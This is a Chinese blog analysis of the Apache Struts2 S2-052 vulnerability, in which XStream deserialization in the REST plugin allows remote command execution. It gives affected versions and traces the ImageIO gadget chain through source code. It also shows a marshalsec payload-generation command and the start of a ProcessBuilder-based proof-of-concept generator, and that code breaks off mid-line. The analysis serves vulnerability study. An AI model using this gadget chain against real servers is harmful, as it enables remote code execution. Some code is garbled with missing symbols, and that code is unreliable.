struts2 请求参数大小写_Struts2漏洞系列之「S2-052」REST插件远程执行命令漏洞

Smi1e@Pentes7eam

漏洞信息:https://cwiki.apache.org/confluence/display/WW/S2-052

当Struts2使用了 Struts2-Rest-Plugin插件时,如果http请求的Content-typeapplication/xml,则会使用XStreamHandler解析器实例化XStream对象来反序列化处理我们传入的XML数据,且在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),因此我们可以通过反序列化引入任意类造成远程命令执行漏洞。

漏洞复现

6e801a3ebfb21b5e64936ae97ba06731.png

影响范围

Struts 2.1.2 - 2.3.33,Struts 2.5 - 2.5.12

漏洞分析

Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-TypeURI扩展名来判断用户传入的数据包类型,可以看到xml格式的处理器对应

org.apache.struts2.rest.handler.XStreamHandler
org.apache.struts2.rest.handler.XStreamHandler.java

package org.apache.struts2.rest.handler;

import com.thoughtworks.xstream.XStream;

import java.io.IOException;

import java.io.Reader;

import java.io.Writer;

public class XStreamHandler implements ContentTypeHandler {

public XStreamHandler {

}

public String fromObject(Object obj, String resultCode, Writer out) throws IOException {

if (obj != ) {

XStream xstream = this.createXStream;

xstream.toXML(obj, out);

}

return ;

}

public void toObject(Reader in, Object target) {

XStream xstream = this.createXStream;

xstream.fromXML(in, target);

}

protected XStream createXStream {

return new XStream;

}

public String getContentType {

return "application/xml";

}

public String getExtension {

return "xml";

}

}

toObject方法调用XStream反序列化XML获得对象,fromObject方法调用XStream序列化对象为XML。

Struts2-Rest-Plugin插件的拦截器

org.apache.struts2.rest.ContentTypeInterceptor

中下断点。获取到请求解析器之后,如果请求体长度不为0则调用其 toObject方法。

9b1ccecb60440254bf947a248f8ee437.png

然后就到了 XStreamHandlertoObject方法中,并调用xstream.fromXML(in, target);把我们传入的XML数据进行反序列化且并没有做任何限制。

b3f83770d4b32094e3d13c11f0dfc007.png

前面的触发流程很简单,后面主要就是XML反序列化payload构造。java unmarshal反序列化利用工具 marshalsec 可以生成 XStream 的很多 gadgets。

上面的poc利用的是 ImageIO这条gadgets。

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream ImageIO calc

调用栈

442ff99d7b9acf62919adbf2c530e8b2.png

XStream反序列化的逻辑,实际上是解析XML DOM重组对象的一个过程。流程比较复杂,这里仅大致写一下。

跟到 MapConverter中的putCurrentEntryIntoMap方法

5fc950a3a33acc5ca26236f31ab0dfee.png

因为我们最终将 NativeString对象放到了hashMap里然后对hashMap进行序列化,所以当反序列化重组对象的时候,会触发NativeStringhashCode方法。

public int hashCode {

return this.getStringValue.hashCode;

}

private String getStringValue {

return this.value instanceof String ? (String)this.value : this.value.toString;

}

这里的 value是payload中传入的

com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data

的对象,所以进入 Base64DatatoString方法,跟进get方法。

public String toString {

this.get;

return DatatypeConverterImpl._printBase64Binary(this.data, 0, this.dataLen);

}

解析出我们传入的 dataSource对象并返回CipherInputStream对象,然后传给baos.readFrom

a8774aaa68f6cf85122fc37103e1b1dc.png

继续跟到 FilterIteratornext方法,advance会调用FilterIterator$Filterfilter方法。此时的FilterIterator$Filter是我们传入的

javax.imageio.ImageIO$ContainsFilter

public T next {

if (next == ) {

throw new NoSuchElementException;

}

T o = next;

advance;

return o;

}

private void advance {

while (iter.hasNext) {

T elt = iter.next;

if (filter.filter(elt)) {

next = elt;

return;

}

}

next = ;

}

参数 elt则是我们payload中传入的java.lang.ProcessBuilder对象,最终调用

javax.imageio.ImageIO$ContainsFilter

filter方法反射执行命令,其中的method也是我们传入的java.lang.ProcessBuilder类的start方法。

c1f4677a55ac68e60dc147e706330c8c.png 786489c36d460542cdf3070d4c3affee.png

poc生成代码如下

import com.thoughtworks.xstream.XStream;

import sun.reflect.ReflectionFactory;

import javax.activation.DataHandler;

import javax.activation.DataSource;

import javax.crypto.Cipher;

import javax.crypto.CipherInputStream;

import javax.crypto.Cipher;

import java.io.InputStream;

import java.lang.reflect.*;

import java.util.Collections;

import java.util.HashMap;

public class ImageIOPayload {

public static void main(String[] args) throws Exception {

ProcessBuilder pb = new ProcessBuilder(new String[]{"open

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值